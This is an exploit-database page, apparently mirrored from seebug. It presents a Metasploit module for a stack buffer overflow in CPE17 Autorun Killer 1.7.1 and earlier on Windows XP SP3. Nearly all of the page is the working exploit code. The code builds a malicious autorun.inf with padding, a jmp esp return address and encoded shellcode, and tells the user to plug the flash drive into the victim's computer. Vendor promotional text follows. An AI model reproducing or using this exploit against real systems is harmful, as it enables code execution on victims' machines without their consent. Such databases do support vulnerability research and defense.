Lucene search
K

CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow Exploit by Xelenonz. Vulnerability in readfile function allows for overflow

Code

                                                #
# CPE17 Autorun Killer &#60;= 1.7.1 Stack Buffer Overflow exploit
# by Xelenonz

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote

      include Msf::Exploit::FILEFORMAT

      def initialize(info = {})
                super(update_info(info,
                        &#39;Name&#39;           =&#62; &#39;CPE17 Autorun Killer &#60;= 1.7.1 Stack Buffer Overflow exploit&#39;,
                        &#39;Description&#39;    =&#62; %q{
                                        readfile function is vulnerable it can be overflow  
                                             },
                        &#39;Author&#39;         =&#62; [ &#39;Xelenonz&#39; ],
                        &#39;Version&#39;        =&#62; &#39;0.1&#39;,
                        
                        &#39;Payload&#39;        =&#62;
                                {
                                        &#39;EncoderType&#39; =&#62; Msf::Encoder::Type::AlphanumMixed,
										&#39;EncoderOptions&#39; =&#62; {&#39;BufferRegister&#39;=&#62;&#39;ECX&#39;},
                                },
			&#39;DefaultOptions&#39; =&#62;
                				{
                    			&#39;DisablePayloadHandler&#39; =&#62; &#39;true&#39;,
                				},
                        &#39;Platform&#39;       =&#62; &#39;windows&#39;,

                        &#39;Targets&#39;        =&#62;
                                [
                                        [
                                        	&#39;Windows XP SP3&#39;,
                                          		{ 	&#39;Ret&#39; =&#62; 0x775a676f, 
                                          			&#39;Offset&#39; =&#62; 500 
                                          		} 
                                       ],
                                      
                                ],
                        &#39;DefaultTarget&#39; =&#62; 0,

                        &#39;Privileged&#39;     =&#62; false
                        ))

                        register_options(
                        [
                        	OptString.new(&#39;FILENAME&#39;,   [ true, &#39;The file name.&#39;,  &#39;autorun.inf&#39;]),
                        ], self.class)
       end

       def exploit
       	  print_status(&#34;Encoding Payload ...&#34;)
          enc = framework.encoders.create(&#34;x86/alpha_mixed&#34;)
		  enc.datastore.import_options_from_hash( {&#39;BufferRegister&#39;=&#62;&#39;ESP&#39;} )
		  hunter = enc.encode(payload.encoded, nil, nil, platform)
		  buffer = &#34;&#34;
          buffer &#60;&#60; &#34;A&#34;*target[&#39;Offset&#39;] # padding offset
          buffer &#60;&#60; [target.ret].pack(&#39;V&#39;) # jmp esp
          buffer &#60;&#60; hunter # shellcode
          print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)
          file_create(buffer)
          print_status(&#34;Plug flashdrive to victim&#39;s computer&#34;)
          handler
          
       end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation